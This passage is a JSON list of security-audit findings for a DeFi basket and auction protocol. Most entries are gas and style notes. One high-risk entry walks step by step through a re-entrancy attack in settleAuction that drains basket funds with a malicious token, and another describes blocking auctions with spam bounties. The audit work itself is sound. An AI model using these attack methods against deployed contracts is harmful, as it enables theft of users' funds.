the arguments (also don't forget to change the calls to the function). "}, {"title": "Same tokens added to bounty", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/253", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Same tokens added to bounty"}, {"title": "pack structs *3", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/252", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "pack structs *3"}, {"title": "Naming", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/250", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Naming"}, {"title": "`burn` and `mintTo` in `Basket.sol` vulnerable to reentrancy", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/248", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "`burn` and `mintTo` in `Basket.sol` vulnerable to reentrancy"}, {"title": "Unecessary transfer trips", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/245", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Unecessary transfer trips"}, {"title": "Auction multiplier set to zero", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/242", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Auction multiplier set to zero"}, {"title": "Set functions to external.", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/240", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle goatbug # Vulnerability details ## Impact Long list of functions should be set from public to external since they are not called anywhere by the contract itself. ## Proof of Concept There are too many to list them all from all the contracts. Just some examples in the Factory contract. There are lots in every contract that should rather be external. function setMinLicenseFee(uint256 newMinLicenseFee) public override onlyOwner { minLicenseFee = newMinLicenseFee; } function setAuctionDecrement(uint256 newAuctionDecrement) public override onlyOwner { auctionDecrement = newAuctionDecrement; } function setAuctionMultiplier(uint256 newAuctionMultiplier) public override onlyOwner { auctionMultiplier = newAuctionMultiplier; } function setBondPercentDiv(uint256 newBondPercentDiv) public override onlyOwner { bondPercentDiv = newBondPercentDiv; } function setOwnerSplit(uint256 newOwnerSplit) public override onlyOwner { require(newOwnerSplit <= 2e17); // 20% ownerSplit = newOwnerSplit; } ## Tools Used ## Recommended Mitigation Steps "}, {"title": "Gas optimation proposal struct", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/238", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle goatbug # Vulnerability details ## Impact Use less storage slots ## Proof of Concept struct Proposal { uint256 licenseFee; string tokenName; string tokenSymbol; address proposer; address[] tokens; uint256[] weights; address basket; } License fee is a smaller number does not need to be uint256. Could use an 8 bit value and pack it comfortable with one of the addresses to save a full storage slot. ## Tools Used ## Recommended Mitigation Steps "}, {"title": "Gas saving: pack struct", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/237", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-09-defiprotocol-findings", "body": "Gas saving: pack struct"}, {"title": "Fee on transfer tokens can lead to incorrect approval", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/236", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Fee on transfer tokens can lead to incorrect approval"}, {"title": "Proposals can never get created due to reaching `block.gaslimit`", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/235", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Proposals can never get created due to reaching `block.gaslimit`"}, {"title": "Sanity checks when the contract parameters are updated", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/234", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Sanity checks when the contract parameters are updated"}, {"title": "The increment in for loop post condition can be made unchecked", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/232", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "The increment in for loop post condition can be made unchecked"}, {"title": "Replace `tokenList.length` by existing variable `length`", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/230", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle hrkrshnn # Vulnerability details ## Replace `tokenList.length` by existing variable `length` ``` diff modified contracts/contracts/Basket.sol @@ -61,7 +61,7 @@ contract Basket is IBasket, ERC20Upgradeable { require(_tokens[i] != address(0)); require(_weights[i] > 0); - for (uint256 x = 0; x < tokenList.length; x++) { + for (uint256 x = 0; x < length; x++) { require(_tokens[i] != tokenList[x]); } ``` Context: The value `tokenList.length` is read from memory and therefore requires a `mload(...)` (6 gas for `push memory_offset` + `mload`). On the other hand, this value is already available in the stack as `length` and could just be `dup-ed` (3 gas). Saves 3 gas for each loop iteration of the interior loop. "}, {"title": "Use `calldata` instead of `memory` for function parameters", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/229", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "Use `calldata` instead of `memory` for function parameters"}, {"title": "Gas: Can save an sload in `changeLicenseFee`", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/228", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle cmichel # Vulnerability details The `if`-branch of `Basket.changeLicenseFee` function ensures that `pendingLicenseFee.licenseFee == newLicenseFee` which means setting `licenseFee = newLicenseFee` is equivalent to `licenseFee = pendingLicenseFee.licenseFee` but the former saves an expensive storage load operation. "}, {"title": "Gas: Can save an sload in `changePublisher`", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/227", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle cmichel # Vulnerability details The `if`-branch of `Basket.changePublisher` function ensures that `pendingPublisher.publisher == newPublisher` which means setting `publisher = newPublisher` is equivalent to `publisher = pendingPublisher.publisher` but the former saves an expensive storage load operation. "}, {"title": "Gas: Factory parameter can be removed from Auction", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/225", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle cmichel # Vulnerability details The `Auction.initialize` function accepts a `factory_` parameter. However, as this contract is always initialized directly from the factory, it can just use `msg.sender`. ## Recommended Mitigation Steps Removing the additional `factory_` parameter and using `msg.sender` instead will save gas. This is already done for the other `Basket` contract. "}, {"title": "`newIbRatio` update math depends on how often it's called", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/224", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "`newIbRatio` update math depends on how often it's called"}, {"title": "Re-entrancy in `settleAuction` allow stealing all funds", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/223", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle cmichel # Vulnerability details Note that the `Basket` contract approved the `Auction` contract with all tokens and the `settleAuction` function allows the auction bonder to transfer all funds out of the basket to themselves. The only limiting factor is the check afterwards that needs to be abided by. It checks if enough tokens are still in the basket after settlement: ``` // this is the safety check if basket still has all the tokens after removing arbitrary amounts for (uint256 i = 0; i < pendingWeights.length; i++) { uint256 tokensNeeded = basketAsERC20.totalSupply() * pendingWeights[i] * newRatio / BASE / BASE; require(IERC20(pendingTokens[i]).balanceOf(address(basket)) >= tokensNeeded); } ``` The bonder can pass in any `inputTokens`, even malicious ones they created. This allows them to re-enter the `settleAuction` multiple times for the same auction. Calling this function at the correct time (such that `bondTimestamp - auctionStart` makes `newRatio < basket.ibRatio()`), the attacker can drain more funds each time, eventually draining the entire basket. ## POC Assume that the current `basket.ibRatio` is `1e18` (the initial value). The basket publisher calls `basket.publishNewIndex` with some tokens and weights. For simplicity, assume that the pending `tokens` are the same as tokens as before, only the weights are different, i.e., this would just rebalance the portfolio. The function call then starts the auction. The important step to note is that the `tokensNeeded` value in `settleAuction` determines how many tokens need to stay in the `basket`. If we can continuously lower this value, we can keep removing tokens from the `basket` until it is empty. The `tokensNeeded` variable is computed as `basketAsERC20.totalSupply() * pendingWeights[i] * newRatio / BASE / BASE`. The only variable that changes in the computation when re-entering the function is `newRatio` (no basket tokens are burned, and the pending weights are never cleared). Thus if we can show that `newRatio` decreases on each re-entrant call, we can move out more and more funds each time. #### newRatio decreases on each call After some time, the attacker calls `bondForRebalance`. This determines the `bondTimestamp - auctionStart` value in `settleAuction`. The attack is possible as soon as `newRatio < basket.ibRatio()`. For example, using the standard parameters the calculation would be: ```solidity // a = 2 * ibRatio uint256 a = factory.auctionMultiplier() * basket.ibRatio(); // b = (bondTimestamp - auctionStart) * 1e14 uint256 b = (bondTimestamp - auctionStart) * BASE / factory.auctionDecrement(); // newRatio = a - b = 2 * ibRatio - (bondTimestamp - auctionStart) * 1e14 uint256 newRatio = a - b; ``` With our initial assumption of `ibRatio = 1e18` and calling `bondForRebalance` after 11,000 seconds (~3 hours) we will get our result that `newRatio` is less than the initial `ibRatio`: ```python newRatio = a - b = 2 * 1e18 - (11000) * 1e14 = 2e18 - 1.1e18 = 0.9e18 < 1e18 = basket.ibRatio ``` > This seems to be a reasonable value (when the pending tokens and weights are equal in value to the previous ones) as no other bonder would want to call this earlier such when `newRatio > basket.ibRatio` as they would put in more total value in tokens as they can take out of the basket. #### re-enter on settleAuction The attacker creates a custom token `attackerToken` that re-enters the `Auction.settleAuction` function on `transferFrom` with parameters we will specify. They call `settleAuction` with `inputTokens = [attackerToken]` to re-enter several times. In the inner-most call where `newRatio = 0.9e18`, they choose the `inputTokens`/`outputTokens` parameters in a way to pass the initial `require(IERC20(pendingTokens[i]).balanceOf(address(basket)) >= tokensNeeded);` check - transferring out any other tokens of `basket` with `outputTokens`. The function will continue to run and call `basket.setNewWeights();` and `basket.updateIBRatio(newRatio);` which will set the new weights (but not clear the pending ones) and set the new `basket.ibRatio`. Execution then jumps to the 2nd inner call after the `IERC20(inputTokens[i]=attackerToken).safeTransferFrom(...)` and has the chance to transfer out tokens again. It will compute `newRatio` with the new lowered `basket.ibRatio` of `0.9e18`: `newRatio = a - b = 2 * 0.9e18 - 1.1e18 = 0.7e18`. Therefore, `tokensNeeded` is lowered as well and the attacker was allowed to transfer out more tokens having carefully chosen `outputWeights`. This repeats with `newRatio = 0.3`. The attack is quite complicated and requires carefully precomputing and then setting the parameters, as well as sending back the `bondAmount` tokens to the `auction` contract which are then each time transferred back in the function body. But I believe this should work. ## Impact The basket funds can be stolen. ## Recommended Mitigation Steps Add re-entrancy checks (for example, OpenZeppelin's \"locks\") to the `settleAuction` function. "}, {"title": "Setting wrong publisher cannot be undone", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/222", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle cmichel # Vulnerability details The `Basket.changePublisher` function is used for both setting a new pending publisher as well as accepting the publisher transfer **from** the pending publisher. ## Impact Once a pending publisher has been set, no other publisher can be set and if the pending publisher does not accept it, the contract is locked out of setting any other publishers. Setting a wrong publisher can naturally occur. ## Recommended Mitigation Steps Add an option to set a new pending publisher even if there already is a pending publisher. "}, {"title": "Re-entrancy in `Factory.createBasket`", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/219", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle cmichel # Vulnerability details A basket creator can specify a custom token that allows them to re-enter in `Factory.createBasket`. ## Impact As new auction and basket contracts are created every time, no cross-basket issues arise. However, note that the official `BasketCreated` event is emitted for all of them, but only the last basket is stored for the `idNumber`. This could lead to issues for some backend / frontend scripts that use the `BasketCreated` event. ## Recommended Mitigation Steps Set `_proposals[idNumber].basket = address(newBasket);` immediately after the `newBasket` contract clone has been created to avoid the re-entrancy. "}, {"title": "Wrong constant for `ONE_DAY`", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/218", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Wrong constant for `ONE_DAY`"}, {"title": "Style issues", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/217", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Style issues"}, {"title": "Eliminate hasBonded", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/216", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Eliminate hasBonded"}, {"title": "newIbRatio is not really useful", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/215", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle pauliax # Vulnerability details ## Impact It is unclear why you need this new local variable called newIbRatio if you instantly update and use the storage variable afterwards: uint256 newIbRatio = ibRatio * startSupply / totalSupply(); ibRatio = newIbRatio; ## Recommended Mitigation Steps ibRatio = ibRatio * startSupply / totalSupply(); "}, {"title": "Mint fees can be simplified", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/214", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle pauliax # Vulnerability details ## Impact This can be refactored to improve precision and gas usage: _mint(publisher, fee * (BASE - factory.ownerSplit()) / BASE); _mint(Ownable(address(factory)).owner(), fee * factory.ownerSplit() / BASE); ## Recommended Mitigation Steps Proposed solution: uint256 factoryOwnerFee = fee * factory.ownerSplit() / BASE; uint256 publisherFee = fee - factoryOwnerFee; _mint(Ownable(address(factory)).owner(), factoryOwnerFee); _mint(publisher, publisherFee); This will result in fewer math operations and better precision cuz multiplication and division are replaced with subtraction. "}, {"title": "Dead code", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/211", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "Dead code"}, {"title": "Double division by BASE", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/210", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle pauliax # Vulnerability details ## Impact This double division by BASE can be eliminated to improve precision and reduce gas costs: uint256 tokensNeeded = basketAsERC20.totalSupply() * pendingWeights[i] * newRatio / BASE / BASE; ## Recommended Mitigation Steps if you introduce a constant variable, e.g.: uint256 private constant BASE_2X = BASE * 2; uint256 tokensNeeded = basketAsERC20.totalSupply() * pendingWeights[i] * newRatio / BASE_2X; "}, {"title": "Check the actual amounts transferred", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/206", "labels": ["bug", "duplicate", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Check the actual amounts transferred"}, {"title": "emit NewIBRatio in function initialize", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/205", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle pauliax # Vulnerability details ## Impact I think function initialize should also emit NewIBRatio event as it sets the initial value: ibRatio = BASE; ## Recommended Mitigation Steps emit NewIBRatio(ibRatio) in function initialize. "}, {"title": "Hardcoding numbers is error-prone", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/203", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Hardcoding numbers that depend on other variables is error-prone, e.g. require(newOwnerSplit <= 2e17); // 20% You must not forget to update this if you decide to change the BASE value. ## Recommended Mitigation Steps Better define a separate constant that directly depends on the BASE, e.g.: uint256 private constant MAX_OWNER_SPLIT = BASE / 5; // 20% require(newOwnerSplit <= MAX_OWNER_SPLIT); "}, {"title": "Inconvenient to find bounty ids", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/202", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle pauliax # Vulnerability details ## Impact In function settleAuction user needs to decide what bounties he/she wants to claim: function settleAuction( uint256[] memory bountyIDs ... withdrawBounty(bountyIDs); but bounties are stored in a private variable: Bounty[] private _bounties; and there are no getter (view) functions to view bounties so I think that makes it very inconvenient for the end-user to find the appropriate ids that are relevant, especially considering there could be SPAM bounties as anyone can call addBounty. ## Recommended Mitigation Steps Consider exposing public view functions to view bounties. "}, {"title": "licenseFee state variable not checked for maximum value (Basket.sol)", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/200", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "licenseFee state variable not checked for maximum value (Basket.sol)"}, {"title": "redundant code (unused variables)", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/198", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle hack3r-0m # Vulnerability details https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Auction.sol#L14 BLOCK_DECREMENT is never used. "}, {"title": "Use safeTransfer instead of transfer", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/196", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle hack3r-0m # Vulnerability details https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Auction.sol#L146 `transfer()` might return false instead of reverting, in this case, ignoring return value leads to considering it successful. use `safeTransfer()` or check the return value if length of returned data is > 0. "}, {"title": "block timestamp manipulation can cause fees change", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/195", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "block timestamp manipulation can cause fees change"}, {"title": "Lack of Event Logging and Input Validation", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/193", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Lack of Event Logging and Input Validation"}, {"title": "`onlyOwner` Role Can Unintentionally Influence `settleAuction()`", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/192", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "`onlyOwner` Role Can Unintentionally Influence `settleAuction()`"}, {"title": "Max approvals are risky if contract is malicious/compromised\u2028", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/191", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Max approvals are risky if contract is malicious/compromised\u2028"}, {"title": "Recognize the risk of using approve", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/190", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact While safeApprove is used in the Factory contract, the use of ERC20 approve in approveUnderlying() (instead of safeApprove) is presumably to handle the reapprovals during changing of index but is susceptible to the historical ERC20 approve() race condition. ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Basket.sol#L226 https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Factory.sol#L106 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Be aware that this is susceptible to race-condition but this it unlikely a concern because the spender is always the auction contract which is cloned and therefore trusted. "}, {"title": "Resetting partial struct fields is risky", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/189", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Resetting partial struct fields is risky"}, {"title": "2-step change of publisher address and licenseFee does not generate warning event\u2028", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/188", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Another big aspect of a 2-step change, such as done with changePublisher() and changeLicenseFee(), is to generate an event when the new address or license fee is registered for change, pending the timelock duration. This is to warn protocol users that a pending change is upcoming (after the timelock) via offchain signalling so they can monitor/notice and decide to engage/exit based on their perception of the impact from the change. The current implementation only emits an event when the pending change is enforced but not when it is made pending which does not provide one of the biggest benefits of a 2-step change. ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Basket.sol#L143-L147 https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Basket.sol#L161-L165 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add another event when the new publisher or licenseFee is made pending. "}, {"title": " Incorrectly used new publisher and new licenseFee cannot be changed", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/186", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact A big aspect of a 2-step change, such as done with changePublisher() and changeLicenseFee(), is to allow any incorrectly used new addresses/values to be changed during the timelock period. This requires allowing the newPublisher or newLicenseFee to be a different value from the one used during the earlier approve and resetting the timelock again. The current implementation only allows setting it once to a non-zero address/value and prevents any such corrections from being made (by checking that the address/value used is the same as that used during the first approve) which enforces the timelock to prevent surprises to users but does not provide the other accident benefits of using a timelock. ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Basket.sol#L137 https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Basket.sol#L136-L147 https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Basket.sol#L155 https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Basket.sol#L154-L165 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Recommend adding \"&& pendingPublisher.publisher == newPublisher\u201d and \"&& pendingLicenseFee.licenseFee == newLicenseFee\" to the if conditional predicate expression along with removing of the require() statement for equality check inside the conditional, to allow resetting the pending address/value to a new one if previously used one was incorrect. "}, {"title": "Publisher role cannot be renounced", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/185", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Renouncing ownership is desirable in certain scenarios and is typically allowed by libraries such as Ownable. The same may be true of the publisher role in this protocol as well to prevent changing the license fee or re-indexing the basket forever. This is typically done by assigning a zero address to such a role i.e. burning it. However, by requiring any new proposed publisher address to be != zero address, the current implementation does not provide an option to renounce a publisher role by burning it. ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Basket.sol#L134 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Consider adding support to renounce the publisher role or specify why this is not a desirable requirement for the protocol. "}, {"title": "Using the latest compiler version may be susceptible to undiscovered bugs", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/180", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-defiprotocol-findings", "body": "Using the latest compiler version may be susceptible to undiscovered bugs"}, {"title": "Missing emission of basket ID and token composition", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/178", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Missing emission of basket ID and token composition"}, {"title": "Missing support for (preventing) use of deflationary tokens in baskets", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/177", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Missing support for (preventing) use of deflationary tokens in baskets"}, {"title": "Risk of duplicate/scam basket token names/symbols may trick users", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/176", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Risk of duplicate/scam basket token names/symbols may trick users"}, {"title": "Hardcoded constants are risky", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/174", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Hardcoded constants in code is risky for auditability/readability/maintainability. The Factory contract uses 2e17 as a threshold check for ownerSplit instead of using a contract constant as done in other places. ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Factory.sol#L56 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Create a contract constant and use that as done in other places. "}, {"title": "Missing sanity/threshold checks on critical contract parameter initializations", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/173", "labels": ["bug", "1 (Low Risk)"], "target": "2021-09-defiprotocol-findings", "body": "Missing sanity/threshold checks on critical contract parameter initializations"}, {"title": "Missing timelocks for critical protocol parameter setters by owner\u2028", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/172", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Missing timelocks for critical protocol parameter setters by owner\u2028"}, {"title": "Missing events for critical protocol parameter setters by owner", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/171", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact None of the Factory owner setter functions emit events to record these changes on-chain for off-chain monitors/tools/interfaces to register the updates and react if necessary. The impact of this is that a malicious/compromised/careless owner can intentionally/accidentally changes the minLicenseFee, auctionDecrement, auctionMultiplier, bondPercentDiv or ownerSplit values that significantly change the security/financial posture/perception of the protocol. No events are emitted and users may lose funds/confidence without being a chance to exit/engage protocol. The protocol takes a reputation hit. See similar high-severity finding in\u00a0OpenZeppelin\u2019s Audit of Audius (https://blog.openzeppelin.com/audius-contracts-audit/#high)\u00a0and medium-severity finding\u00a0OpenZeppelin\u2019s Audit of UMA Phase 4: https://blog.openzeppelin.com/uma-audit-phase-4/. ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Factory.sol#L39-L41 https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Factory.sol#L43-L45 https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Factory.sol#L47-L49 https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Factory.sol#L51-L53 https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Factory.sol#L55-L59 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Recommend to consider emitting events when protocol critical values are updated by owner. This will be more transparent and it will make it easier to keep track of the status of the system. "}, {"title": "Lack of indexed event parameters will affect offchain monitoring", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/169", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Lack of indexed event parameters will affect offchain monitoring"}, {"title": "Incorrect data location specifier can be abused to cause DoS and fund loss", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/168", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The withdrawBounty() loops through the _bounties array looking for active bounties and transferring amounts from active ones. However, the data location specifier used for bounty is memory which makes a copy of the _bounties array member instead of a reference. So when bounty.active is set to false, this is changing only the memory copy and not the array element of the storage variable. This results in bounties never being set to inactive, keeping them always active forever and every withdrawBounty() will attempt to transfer bounty amount from the Auction contract to the msg.sender. Therefore, while the transfer will work the first time, subsequent attempts to claim this bounty will revert on transfer (because the Auction contract will not have required amount of bounty tokens) causing withdrawBounty() to always revert and therefore preventing settling of any auction. A malicious attacker can add a tiny bounty on any/every Auction contract to prevent any reindexing on that contract to happen because it will always revert on auction settling. This can be used to cause DoS on any 